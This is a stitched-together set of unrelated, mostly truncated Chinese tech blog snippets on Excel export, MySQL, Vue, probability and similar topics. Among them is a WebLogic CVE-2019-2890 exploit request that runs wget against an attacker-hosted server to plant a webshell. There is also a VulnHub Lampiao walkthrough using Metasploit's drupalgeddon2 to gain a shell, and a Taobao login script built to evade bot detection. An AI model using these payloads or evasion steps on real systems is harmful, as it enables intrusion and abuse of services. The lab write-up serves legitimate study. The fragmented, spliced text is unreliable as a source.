技术+管理: 项目管理,这是一条很多人都想走的路,因为模式比较简单,而且可以复制,作为项目的负责人你要把控整个项目的排期、开发的质量、线上的一些列问题、还有新人的培养,除此之外你还是整个项目对外的发言人,需要花费比较多的时间在和各部门沟通上,如果同学觉得自己性格还算比较外向的话,选择这条路的话还是比较适合的,但是需要注意的是项目经理的话意味着你必须熟悉自己所在的业务,不过这对于你以后往其他领域的发展会有些制约,所以现在很多公司多开始了轮岗制让开发人员熟悉多个部门的业务工作
技术+创业: 这是一条很少有人走的路,而且就算选择了这条路也不意味着你能成功,选择创业你不仅仅需要过硬的技术能力,更要有敏锐的商业头脑和较高的情商,一般很少有同学会选择这条路,如果你选择了这条路请好好走下去,即便失败也会是你人生中不可多得一笔宝贵的记忆!
程序员“没有未来了吗”?当然 no!
希望自己这么多年走过来的弯路,多少能够给大家一些启发
Android学习PDF+架构视频+面试文档+源码笔记
前言 最近在项目中有一个需求对企业列表批量导入或生成excel表格,在过程中遇到了很多坑,今天和大家分享一下。springboot 1.5.x版本
如果遇到了在本地导出没有问题,部署到linux中出问题了可以参考:
解决poi导出excel列宽自适应
pom文件 需要引入的jar包
<!-- poi操作excel --> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>3.8</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>3.8</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml-schemas</artifactId> <version>3.8</version> </dependency> 工具类 package com.sinoyd.util; import org.apache.poi.hssf.usermodel.*; import org.apache.poi.ss.usermodel.*; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import java.io.IOException; import java.io.InputStream; import java.text.DecimalFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.List; /** * @Desc excel读取工具类 */ public class ExcelUtil { private static int totalRows = 0;// 总行数 private static int totalCells = 0;// 总列数 private static String errorInfo;// 错误信息 /** * 无参构造方法 */ public ExcelUtil() { } public static int getTotalRows() { return totalRows; } public static int getTotalCells() { return totalCells; } public static String getErrorInfo() { return errorInfo; } /** * 根据流读取Excel文件 * * @param inputStream * @param isExcel2003 * @return * @see [类、类#方法、类#成员] */ public List<List<String>> read(InputStream inputStream, boolean isExcel2003) throws IOException { List<List<String>> dataLst = null; /** 根据版本选择创建Workbook的方式 */ Workbook wb = null; if (isExcel2003) { wb = new HSSFWorkbook(inputStream); } else { wb = new XSSFWorkbook(inputStream); } dataLst = readData(wb); return dataLst; } /** * 读取数据 * * @param wb * @return * @see [类、类#方法、类#成员] */ private List<List<String>> readData(Workbook wb) { List<List<String>> dataLst = new ArrayList<List<String>>(); /** 得到第一个shell */ Sheet sheet = wb.
声明:本文仅供学习用,旨在分享
现在大型网站对selenium工具都会进行检测,若检测到selenium就判定为机器人,访问被拒或出现像淘宝一样的滑块验证等机制。基于多次失败的经验教训及探讨,为避免触发淘宝的反爬机制,此次通过利用 Chrome DevTools 协议及基于Python开发的自动化测试脚本模块Pywinauto进行淘宝的自动化登录操作,在登录后通过selenium获取登录后的cookies,再通过先前那篇《python项目实战:用多进程(multiprocessing)+多线程(threading)的方式并发爬取淘宝商品信息并存入MongoDB》中模拟发送请求的方式进行数据爬取。下面是程序的运行过程,整个过程中不能触碰鼠标和键盘,因为要让当前的句柄为所打开的浏览器。
以下是代码:
#-*-coding:UTF-8-*- import random,os,time,requests from pywinauto import keyboard from selenium import webdriver chrome_path=r'C:\Users\juzhang\AppData\Local\Google\Chrome\Application\chrome.exe'#浏览器的位置 chrome_info=r'C:\\selenium\\AutomationProfile'#新创建一个目录用于存储 Chrome 配置文件信息 chrome_driver = './mychromedriver.exe'#驱动版本根据浏览器的版本不同会有所不同,需要提前下载 port=9222#指定任何调试端口 def set_user_agent(): USER_AGENTS = [ "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.
使用Ubuntu打开终端时,输入带有sudo apt-get 命令行是回报下面错误: E: 无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用)
E: 无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它?
在ubuntu系统用带有apt-get 命令行的时候,如果在未完成任务的情况下将终端中断,此时 apt-get进程可能没有结束。当重新开机再次运行带有apt-get命令行的时候,可能会发生上面的错误.
解决方法 在终端输入下面命令强制解锁
sudo rm /var/cache/apt/archives/lock sudo rm /var/lib/dpkg/lock
更新报错 在ubuntu下,使用sudo apt update更新软件,出现下面的报错:
忽略:1 http://mirrors.aliyun.com/ubuntu xenial InRelease 忽略:2 http://mirrors.aliyun.com/ubuntu xenial-updates InRelease 忽略:3 http://mirrors.aliyun.com/ubuntu xenial-backports InRelease 忽略:4 http://mirrors.aliyun.com/ubuntu xenial-security InRelease 错误:5 http://mirrors.aliyun.com/ubuntu xenial Release SECURITY: URL redirect target contains control characters, rejecting. [IP: 222.188.8.224 80] 错误:6 http://mirrors.aliyun.com/ubuntu xenial-updates Release SECURITY: URL redirect target contains control characters, rejecting. [IP: 222.188.8.224 80] 错误:7 http://mirrors.aliyun.com/ubuntu xenial-backports Release SECURITY: URL redirect target contains control characters, rejecting. [IP: 222.188.8.224 80] 错误:8 http://mirrors.aliyun.com/ubuntu xenial-security Release SECURITY: URL redirect target contains control characters, rejecting.
WebLogic 反序列化漏洞(CVE-2019-2890) 漏洞描述 2019年10月15日,Oracle官方发布了2019年10月安全更新公告,其中包含了一个可造成RCE远程任意代码执行的高危漏洞,漏洞编号为CVE-2019-2890。
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。
影响范围 WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
漏洞利用 判断是否存在漏洞,如下图所示则可能存在漏洞 http://192.168.223.195:7001/_async/AsyncResponseService
(2)上传webshell
首先放置一个shell.txt到公网服务器上,我们使用wget去下载它。
报文如下:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.223.195:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 859
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.223.1:8080/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.
练习5-2 找两个数中最大者 (10 分) 本题要求对两个整数a和b,输出其中较大的数。
函数接口定义:
int max( int a, int b );
其中a和b是用户传入的参数,函数返回的是两者中较大的数。
裁判测试程序样例:
#include <stdio.h>
int max( int a, int b );
int main()
{
int a, b;
scanf("%d %d", &a, &b); printf("max = %d\n", max(a, b)); return 0; }
/* 你的代码将被嵌在这里 */
输入样例: -5 8
输出样例: max = 8
#include <stdio.h> int max( int a, int b ) { if(a>b) return a; else return b; } int main() { int a, b; scanf("
波长与频率的关系: 频率,是单位时间内完成周期性变化的次数,是描述周期运动频繁程度的量,常用符号f或u表示,单位为秒分之一。
波长(wave length)是指波在一个振动周期内传播的距离。也就是沿着波的传播方向,相邻两个振动位相相差2π的点之间的距离。波长λ等于波速V和周期T的乘积,即λ=VT。
频率与波长的换算公式是 公式中V为传播速度,单位为米/秒,是波长,是电磁波的频率,单位为赫兹(Hz,简称赫)。
天线长度和波长的关系 天线的长短和波长成正比,所以和频率成反比,频率越高,波长越短,天线也就可以做得越短。
所以当在网络分析仪上看到S11的谐振点偏低频的话,需要升高频率,意味着波长要减小,意味着天线长度要减小,即割线;反之加长天线
2.4GHz射频天线设计为33mm的原因 ,其中V = 光速 = 3*10^8m/s,f = 2.4GHz = 2.4 * 10^9 Hz
--> 波长 = 0.125 m
因为当天线的长度为无线电信号波长的1/4时,天线的发射和接收转换效率最高
--> 天线长度 = 0.03125 m = 31.25mm
射频天线长度选择1/4,发生和接收转化率较高的原因 网络分析仪的S11参数
jar包(官方推荐)
jar包方式启动,也就是使用spring boot内置的tomcat运行。服务器上面只要你配置了jdk1.8及以上,就ok。不需要外置tomcat
1.打成jar包
2.将jar包放到任意目录,执行下面的命令
$ nohup java -jar test.jar >temp.txt &
//这种方法会把日志文件输入到你指定的文件中,没有则会自动创建。进程会在后台运行。
查看启动的线程:ps aux|grep java
杀掉线程:kill -9 线程id
文件名和文件夹的bat批量重命名替换关键字和删除关键字 批量文件名关键字替换 @echo off set "str1=需要替换的关键字" set "str2=替换后的关键字" Setlocal Enabledelayedexpansion for /f "delims=" %%i in ('dir /b *.*') do ( set "var=%%i" & ren "%%i" "!var:%str1%=%str2%!") 批量文件夹名关键字替换 @echo off set "str1=需要替换的关键字" set "str2=替换后的关键字" Setlocal Enabledelayedexpansion for /f "delims=" %%i in ('dir /a:d /b') do ( set "var=%%i" & ren "%%i" "!var:%str1%=%str2%!") 批量文件名关键字删除 @echo off set "str=需要删除的字符串" Setlocal Enabledelayedexpansion for /f "delims=" %%i in ('dir /b *.*') do ( set "
发现自己对各种分布不太熟悉,决定趁此机会整理一下,看有没有比较好的记忆方法。
各种分布最重要的理解它的实际意义,都是解决什么问题的,其次是公式的含义。
所以下面都按以下几点来展开:实际意义、数学表达、对表达式的解释。
目录
一、离散型变量的分布
1. 0—1分布(两点分布)X~B(1,p)
2. 二项分布(n重伯努利分布)X~B(n,p)
3. 泊松分布 X~P(λ)
4. 几何分布 X~G(p)
二、连续型变量的分布
1. 均匀分布 X~U(a, b)
2. 指数分布
三、卷积公式
一、离散型变量的分布 1. 0—1分布(两点分布)X~B(1,p) 只进行一次事件试验,该事件发生的概率为p,不发生的概率为1-p。任何一个只有两种结果的随机事件都服从0-1分布。是n=1时的二项分布。
,k=0,1。k=0时,表示某随机事件失败的概率;k=1,表示某随机事件成功的概率。
分布律(下表)。E(X)=p;D(X)=p(1-p)。
X01P(x)1-pp 2. 二项分布(n重伯努利分布)X~B(n,p) 重复n次独立的伯努利实验(伯努利试验是在同样条件下重复、独立进行的一种随机试验,其特点是只有两种可能结果:发生或者不发生)。单个伯努利试验没有多大意义,反复进行时可以观察成功次数,此时的分析更有意义。
【例】某售货员电话推销n次中,成功k次的概率。 ,k=0,1,……n。在n次实验中成功次数为k时的概率。
E(X)=np;D(X)=np(1-p)。
记忆:二项分布就是n重伯努利分布,二项“伯”。
《二项分布(Binomial Distribution)》:https://blog.csdn.net/huangjx36/article/details/77990392
3. 泊松分布 X~P(λ) 描述单位时间内随机事件发生的次数。参数λ——单位时间(或单位面积)内随机事件的平均发生次数。
【例】某网站平均每分钟有2次访问,下一分钟内的访问量是λ的概率。 表示某单位时间内,随机事件发生k次的概率。
E(X)=D(X)=λ。
记忆:一天内停车场没“泊”几辆车,太轻“松”,是因为λ、e两个人都有帽子(都有指数)。
4. 几何分布 X~G(p) 在n次伯努利试验中,第k次才首次成功的概率。是前k-1次都失败,第k次成功的概率。
【例】某产品的不合格率为0.05,则首次查到不合格品时的检查次数X ~ G(0.05) 。 , 记忆:首次成功做出几何题。
二、连续型变量的分布 1. 均匀分布 X~U(a, b) 表示区间 [a, b] 内任意等长度区间内事件出现的概率相同的分布。
【例】在一小时内,分针某时刻的角度值满足均匀分布,可研究该角度在40°~80°内的概率。 2. 指数分布 表示两次相继发生的随机事件的时间/空间间隔的概率。参数λ——单位时间(或单位面积)内随机事件的平均发生次数。
Windows系统下,MySQL服务的启动,常见的三种启动方式如下:
目录
一、net start mysql
二、服务->右键->启动
三、cmd 执行 mysqld.exe、my-default.ini
一、net start mysql Ctrl+R,输入cmd,回车,打开cmd命令窗,进入mysql的bin目录,执行命令
net start mysql服务名
net stop mysql服务名
PS:mysql服务名,根据自己安装时定义的为准,例如我的是mysql57
启动实例 > cd C:\Program Files\MySQL\MySQL Server 5.7\bin
> net start mysql57
停止实例 >cd C:\Program Files\MySQL\MySQL Server 5.7\bin
> net stop mysql57
停止服务也可以在,任务管理器->mysqld.exe->右键->结束进程
二、服务->右键->启动 Windows系统, 控制面板-管理工具-服务->选中mysql服务名->右键->启动 / 停止
停止也可以在,任务管理器->mysqld.exe->右键->结束进程
三、cmd 执行 mysqld.exe、my-default.ini Ctrl+R,输入cmd,回车,打开cmd命令窗,直接执行命令
"mysqld.exe文件绝对路径" --defaults-file=".ini配置文件绝对路径"
指令说明 "mysqld.exe文件绝对路径" 在mysql安装目录bin目录下
".ini配置文件绝对路径" 在mysql安装目录下,文件名一般为 my-default.ini 或 mysql.ini
启动实例 > "C:\Program Files\MySQL\MySQL Server 5.7\bin\mysqld.exe" --defaults-file="C:\Program Files\MySQL\MySQL Server 5.
SQL语句:
create table tempdb.dbo.temptable_20191018205038214 as select * from k_menu; 抛出的错误:
> ORA-00922: missing or invalid option
导致原因:表名中不能有符号点 ".",而且长度不能太长,最大30字符,
否则超过长度会报
> ORA-00972: identifier is too long
改成下面这样就OK了。
create table temptable_20191018205038214 as select * from k_menu;
Exception in thread "main" java.lang.RuntimeException: com.ctc.wstx.exc.WstxParsingException: Illegal character entity: expansion character (code 0x8 at [row,col,system-id]: [3213,96,"file:/opt/hive-3.0.0/conf/hive-site.xml"] at org.apache.hadoop.conf.Configuration.loadResource(Configuration.java:3128) at org.apache.hadoop.conf.Configuration.loadResources(Configuration.java:2897) at org.apache.hadoop.conf.Configuration.getProps(Configuration.java:2769) at org.apache.hadoop.conf.Configuration.get(Configuration.java:1423) at org.apache.hadoop.hive.conf.HiveConf.getVar(HiveConf.java:4967) at org.apache.hadoop.hive.conf.HiveConf.getVar(HiveConf.java:5040) at org.apache.hadoop.hive.conf.HiveConf.initialize(HiveConf.java:5127) at org.apache.hadoop.hive.conf.HiveConf.<init>(HiveConf.java:5070) at org.apache.hadoop.hive.common.LogUtils.initHiveLog4jCommon(LogUtils.java:97) at org.apache.hadoop.hive.common.LogUtils.initHiveLog4j(LogUtils.java:81) at org.apache.hadoop.hive.cli.CliDriver.run(CliDriver.java:699) at org.apache.hadoop.hive.cli.CliDriver.main(CliDriver.java:683) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.apache.hadoop.util.RunJar.run(RunJar.java:239) at org.apache.hadoop.util.RunJar.main(RunJar.java:153) Caused by: com.ctc.wstx.exc.WstxParsingException: Illegal character entity: expansion character (code 0x8 at [row,col,system-id]: [3213,96,"file:/opt/hive-3.0.0/conf/hive-site.xml"] at com.ctc.wstx.sr.StreamScanner.constructWfcException(StreamScanner.java:621) at com.
SQL中Group By的使用
1、概述
“Group By”从字面意义上理解就是根据“By”指定的规则对数据进行分组,所谓的分组就是将一个“数据集”划分成若干个“小区域”,然后针对若干个“小区域”进行数据处理。
2、原始表
3、简单Group By
示例1
select 类别, sum(数量) as 数量之和
from A
group by 类别
返回结果如下表,实际上就是分类汇总。
4、Group By 和 Order By
示例2
select 类别, sum(数量) AS 数量之和
from A
group by 类别
order by sum(数量) desc
返回结果如下表
在Access中不可以使用“order by 数量之和 desc”,但在SQL Server中则可以。
5、Group By中Select指定的字段限制
示例3
select 类别, sum(数量) as 数量之和, 摘要
from A
group by 类别
order by 类别 desc
示例3执行后会提示下错误,如下图。这就是需要注意的一点,在select指定的字段要么就要包含在Group By语句的后面,作为分组的依据;要么就要被包含在聚合函数中。
6、Group By All
1、首先安装完zabbix监控
2、给要监控的mysql编写脚本、并加执行权限
vim /etc/zabbix/mysql.sh
#!/bin/bash # ------------------------------------------------------------------------------- # FileName: check_mysql.sh # Revision: 1.0 # Date: 2018/01/31 # Author: chunk # Email: # Website: # Description: # Notes: ~ # ------------------------------------------------------------------------------- # Copyright: # License: GPL # 用户名 MYSQL_USER='zabbix' # 密码 MYSQL_PWD='123' # 主机地址/IP MYSQL_HOST='localhost' # 端口 MYSQL_PORT='3306' # 数据连接 MYSQL_CONN="/usr/bin/mysqladmin -u${MYSQL_USER} -p${MYSQL_PWD} -h${MYSQL_HOST} -P${MYSQL_PORT}" # 参数是否正确 if [ $# -ne "1" ];then echo "arg error!" fi # 获取数据 case $1 in Uptime) result=`${MYSQL_CONN} status|cut -f2 -d"
Sonatype Nexus 操作指南 一、上传jar包 1、 在浏览器中打开仓库地址,点击右上角的“Log In”链接,然后输入帐号密码,如下图:
2、选择jar包需要上传的位置,如下图所示
3、填写jar包的groupId、artifact、version等信息,点击“Select Artifact(s) to Upload”上传jar包。
4、点击“upload Artifact(s)”按钮,上传jar包。
二、删除jar包 选择需要删除的文件夹,点击鼠标右键,选择“delete”按钮,即可删除。如下图所示:
[注]:本文是作者根据工作经验写作而成,若有侵权,请联系作者。
由于作者水平有限,写作之中若有纰漏,还望指出。欢迎交流
去年公司写东西用到了这个,然后遗忘了,今年又来一波这个功能整理一下吧。
老样子,拷贝可用!!!把每一个类拷贝上就行!!! 首先是工具类:
GPS定位,第一个类 public class GPSLocation implements LocationListener { private GPSLocationListener mGpsLocationListener; public GPSLocation(GPSLocationListener gpsLocationListener) { this.mGpsLocationListener = gpsLocationListener; } @Override public void onLocationChanged(Location location) { if (location != null) { mGpsLocationListener.UpdateLocation(location); } } @Override public void onStatusChanged(String provider, int status, Bundle extras) { mGpsLocationListener.UpdateStatus(provider, status, extras); switch (status) { case LocationProvider.AVAILABLE: mGpsLocationListener.UpdateGPSProviderStatus(GPSProviderStatus.GPS_AVAILABLE); break; case LocationProvider.OUT_OF_SERVICE: mGpsLocationListener.UpdateGPSProviderStatus(GPSProviderStatus.GPS_OUT_OF_SERVICE); break; case LocationProvider.TEMPORARILY_UNAVAILABLE: mGpsLocationListener.UpdateGPSProviderStatus(GPSProviderStatus.GPS_TEMPORARILY_UNAVAILABLE); break; } } @Override public void onProviderEnabled(String provider) { mGpsLocationListener.
获取:
String name = req.getParameter(“username”);
System.out.println(name);
输出
PrintWriter pw = resp.getWriter();
pw.write(name);
学习serlvet的最佳学习地点https://www.bilibili.com/video/av68412637/?p=136 servlet知识点: servlet接口:必须重写五个方法。implement 可继承的servlet的类:HttpServlet(常用) http的特点: 1、是基于Tcp/IP的高级协议 2、默认端口号:80 3、一次请求只能对应一次响应 4、每次响应相互独立,不能互通 请求数据的格式 1、请求行:请求方式 请求url 请求协议 Get/login.html HTTP/1.1 2、请求头:请求头名称:请求头值 3、请求体:username=”张三“ 获取请求体的内容 String name = req.getParameter("username"); System.out.println(name); 输出内容到页面 PrintWriter pw = resp.getWriter(); pw.write(name);
本人要导出已存在项目的表结构生成.pdm文件!在这里记录一下步骤以及遇到的问题!
步骤:
1File ====》 Reverse Engineer ====》 Datebase
2自定义 Model name
3选择Using a data source 然后点击旁边的按钮 配置连接资源 (如果之前配置过直接确定就可以)
4点击configure进入
5如果之前配置过请直接选择1里面的配置过的资源并确定 如果没有请点击2指向的位置
6下一步
7选择你要连接的驱动 下一步(在这里我遇到了一个问题 就是我这里之前没有mysql的驱动 需要自己下载安装—步骤在下面)
8完成
9.在里面添加数据 1 自定义名称 2 数据库IP 3数据库连接用户名 4 数据库密码 5点击测试 成功后点击OK
10 点击测试后出现下图表示成功
11选中刚才新建的连接 并确定
12确定后返回的界面点击那个箭头会出现下面所有的连接 选中你要配置的连接
13选中后输入数据库连接的用户名和密码 点击 Connect
14再次返回页面会出现你自己建立的连接 点击确定
15.确定后会出现下图 1处为连接资源中的所有数据库选中自己要导出的数据库 2处为全选 3 为反选 选好后点击OK
16 点击OK
17等待完成!!!!
》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》
我遇到的问题 1.在运行第7步的时候没有找到mysql的驱动 即不存在mysql odbc 5.3 Unicode driver
备注:我的电脑为 win7(64位) 并且已经安装了mysql数据库可以正常使用
解决办法:
VulnHub靶场之Lampiao 最近事情有点多,但是还是要抽出点时间来学习的!!!
老样子,Lampiao虚拟机先启动,然后再启动kali!!
Lampiao虚拟机启动如下,不知账户密码,估摸着和上次那个靶机是差不多的!!!
打开kali,使用命令查看kali的ip:
使用nmap进行主机扫描:nmap -sP 192.168.80.1/24:
继续使用nmap扫描端口:nmap -p 1-65535 -sV 192.168.80.129:
开放了,22端口和80端口,1898端口
22端口,尝试ssh弱口令爆破,没有结果,,,
这里就不多说ssh弱口令爆破了,基本上百度都能搜得到,使用msf
80端口也没有是没有用的信息
访问一下http://192.168.80.129:1898/,这个页面我也没发现什么东西,,,,
ok,对该网站进行信息收集
先手动进行信息收集,发现存在robots.txt:
查看一下CHANGELOG.txt文件,发现网站的版本信息:
OK,再进行下一步,直接跑一下目录!!!
emmm,目录贼多,,,,再include里面看见有什么数据库的配置文件之类的
好像没什么卵用,毕竟PHP文件是看不见内容的
到此不知该如何,,,,
仔细想想还是有条路的,既然我们知道网站的搭建框架Drupal 7
那么我们可以直接使用百度搜索一下该搭建框架的漏洞:
找到一个CVE漏洞,,,,
既然有CVE漏洞编号,那就好办了,直接去kali上的msf进行search:
找到了,直接利用该漏洞:use exploit/unix/webapp/drupal_drupalgeddon2
然后show一下需要设置的参数
ok,需要我们设置端口和ip,直接设置:
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.80.129 RHOST => 192.168.80.129 msf exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898 RPORT => 1898 msf exploit(unix/webapp/drupal_drupalgeddon2) > run 成功拿到shell:
emmm,以写入文件的方式获取标准shell失败:
换一种方法:python -c 'import pty; pty.spawn("/bin/bash")',成功:
发现是www-data用户,这说明需要我们进行提权!!
同时,也发现了许多没有扫描出来的文件
打开qrc.png发现是 一个二维码,扫出来的结果是 Try harger! muahuahuahua:
如图 解决方案: Par_inf文件中有土壤层的必须加括号
这样就可以啦!
题目大意 给三个正整数N、K、P,将N表示成K个正整数的P次方和,其中,这K个正整数必须递减排列,允许重复,如果有多种方案,选择底数n1+…+nk最大的方案,如果还有多种方案,选择底数序列的字典序最大的方案。 思路解析 穷举法暴力模拟,为了避免超时,一般都把待选数放到一个数组里,而不是每次重新计算。我一开始以为给定第一个数的大小作为上界,剩余的数字在界内递归选择,第一次找到sum == n && deep == k的就是结果,然而会有超时,成功被PAT数据gank,所以以后还是乖乖的按照常规做法搞吧。 示例代码 #include<iostream> #include<vector> #include<math.h> using namespace std; int n, k, p,maxsum; vector<int> v, res,res2;//v是×n次方后的待选数字,res存放临时结果 void dfs(int index,int sum,int facsum, int deep) { if (sum == n) { if (facsum > maxsum && deep == k) { maxsum = facsum; res2 = res; } res.pop_back(); return; } for (int i = index; i > 0; i--) { if (sum + v[i] <= n && deep + 1 <= k) { res.
新来到一个开发环境,当然也是在局域网中,规定是需要安装360-天擎(我感觉应该是企业版吧,我也没兴趣这玩意,应该就是个监视工具)
由于新近业务验收,作为开发需要时刻配合实施部署,所以经常打包,打包,传传文件.用了几天优盘…但是优盘经常出问题,就是有些文件经历过优盘,放到其他电脑上会出错,我个人猜测是天擎加了一些东西在和开发有关的文件中,禁止随意传播…
也是觉得麻烦,就百度了ftp这种方式.以下是网上资料精简版,看不懂也不用看了,我只是做笔记,但是我尽量保证,一步步来觉得能用就行.
1,打开(win+R)运行 输入optionalfeatures 等待几秒钟,找到internet information services 勾选ftp服务,进入Web管理工具,勾选(除iis6开头的)全部服务.确定.
2,搜索IIS服务管理 在网站右键添加ftp站点, 然后 起个名,选择要共享的路径,下一步 ip用自己的局域网中的地址,端口默认,SSL设置为无.下一步, 身份验证 全选,
允许访问 所有用户 权限 全选 完成.
3, 在浏览器或者文件浏览窗口输入 ftp://你的地址 可以看到共享文件夹中的文件,如果失败,右键我的电脑,管理, 服务,找到IIS(全称,同上) 重启试一下.
4,用你同事的电脑,像自己的电脑一样访问ftp地址,(被访问的要关闭防火墙) ,在文件管理器中打开地址后可以显示你已经放入文件,你可以像本地一样使用这个文件夹.
5,如果你不小心遇到其他的问题,请检查是否那个地方没有按照步骤来,重新建立一个,如果还有其他问题,请百度.我的比较顺利.哈哈
一、IDEA的正常主题设置: File/Settings/appearance/theme 可以选择三种默认主题
二、网络上的主题下载: http://color-themes.com/?view=index 点击下载主题,得到一个jar包。
在IDEA中,File-->Import Settings 导入对应的jar包所在的位置
之后IDEA会提示需要重启才可以更换主题效果,重启即可。
三、取消之前的主题: 如果后悔因为步骤二导入的主题不够好看,可以通过该步骤进行删除之前的主题。
IDEA的主题默认在文件夹:C:\Users\用户名\.IntelliJIdea2019.1\config\colors 中
删除掉对应的xml文件,即可恢复到更换主题之前的主题。需要重启IDEA才能实现。
线代中其他的一些遗留小问题,后续可能会更新。
1. 初等行变换不改变什么?(初等列变换同理) 初等行变换不改变列向量的线性相关性,也不改变行向量的线性相关性。可从以下两点来看。
① 初等变换不改变矩阵的秩,矩阵的秩=列秩=行秩。而相关性就体现为是否满秩。
② 不改变列向量的相关性,是因为初等行变换的过程始终保持了与原方程组同解,所以列向量间的线性关系(就是系数x1,x2……的取值,就是解向量X)没变。
不改变行向量的相关性,很显然。因为初等行变换就是方程加减,原来的方程组中多余的方程(可被其他行向量线性表示的行向量)必然通过加减消去,而行向量(0,0,……0)与其他行向量必然线性相关;而原来有用的方程必然保留,即原来无关的必然仍无关。
2. 特征方程的简便设法 要学会用|A-λE|=0求特征值。求特征值或者特征向量的时候,也可以写成 |A-λE|=0,(A-λE)X=0 再化阶梯,答案是一样的。但此时,只改变矩阵A主对角线的元素,所以更容易书写和计算(因为非主对角线元素此时不变,不用写为相反数了)。
3. 典型错题 利用结论:f(A)=0,所以f(Λ)=0。
不可以,并没说α是特征向量。
手写为错误解法,α不是方阵,不能说可逆不可逆,不可消去。
解题思路:题目给了条件A^3 α,是三次方,所以构造P之后,左乘A 得到三次方,然后拆开,写为系数矩阵。由线性无关的条件,知可逆,知相似,求得。
错误解法[1]. 直接除以 α向量!(原因:向量不能说可逆不可逆,不可除以向量!没有说 α是特征向量,不可以用 f(A)=f(λ)。)
错误解法[2]. 令Aα=λα。(没有说 α是特征向量,不可以用 Aα=λα。)
同时,以下解法没有利用题干中,线性无关这一条件,必然是不合理的。
[1] [2]
连上电源和网线,安装DSM系统: 立即安装: 输入服务器名称、管理员账户和密码: 输入注册好的Synology账户: 创建存储空间: 基于群晖SHR模式创建: 奇偶一致性校验,时间非常长,大约10个小时: 安装Drive、Moments、DS audio、Docker等常用套件: 使用Moments时需要先启用用户主目录服务: 备注:建议在PC上下载安装Synology Assistant,在手机上安装群晖管家
常用技巧:
通过ISCSI Targt服务,用户可直接在NAS上虚拟化磁盘来使用
打卡iSCSI Manager:
Win 10控制面板 --> 管理工具 --> iSCSI发起程序: 打开磁盘管理: 新建简单卷: 多出一个分区:
为什么含有纯虚函数的类,不能定义类对象?
先从反面来讲:如果含有纯虚函数的类可以定义对象,那么该对象就应该可以调用类中的纯虚函数,但是纯虚函数是没有实现的,这就是个矛盾的。
正面来讲:普通类具有成员函数,构造类的对象时,会对成员变量和成员函数分配内存。含有纯虚函数的类,定义了成员函数的地址是空,无法分配内存,该成员函数对类是没有意义的,失去了普通类的数据和方法绑定于同一对象中的意义,因此无法构造对象,只能通过派生类继承这些成员函数并实现,才能构造派生类对象。此时抽象类就起到了定义接口的作用。
抽象类将事物的描述和实现区分开来,选择纯虚函数的概念,是想将一个类声明为抽象类的思想明确化,选择性的定义函数
是一种灵活的多的方式,是实现多态的基础。
Vue常见的指令: v-for 、 v-if 、v-bind、v-on、v-show、v-else
v-for:循环判断指令,常于key绑定一起写,key的作用主要是为了高效的更新虚拟DOM。
v-if 和 v-else:条件判断指令。
v-show :显示指令
v-bind:主要用于属性绑定,缩写为 :。
v-on:它是来绑定事件监听器,这样我们就可以做一些交互了,缩写为:@。
v-if 和v-show的区别:
二者都可以用来显示一个块的东西,
v-if 拥有更高的切换消耗,并且当条件不存在时,其元素是真的消失了,display:none。
v-show 拥有更高的初始渲染消耗,当条件不存在时,其元素是显示隐藏,其内容还在。
常见的指令大概就这么些吧,下面介绍自定义指令。
自定义指令: Vue中自定义指令是通过directive命令来定义的。
其定义方式有两种,一种是Vue.directive(‘xxx’, function(el, bind, vNode){}),其中el为dom,vNode为vue的虚拟dom,bind为一较复杂对象,包含指令很多信息。
第二种就是下面代码块所示:
Vue.directive('指令名称', { bind: function () { }, inserted: function () { }, update: function () { }, componentUpdated: function () { }, unbind: function () { } }) 自定义指令的生命周期
自定义指令有5个生命周期,分别是bind,inserted,update,componentUpdate,unbind。
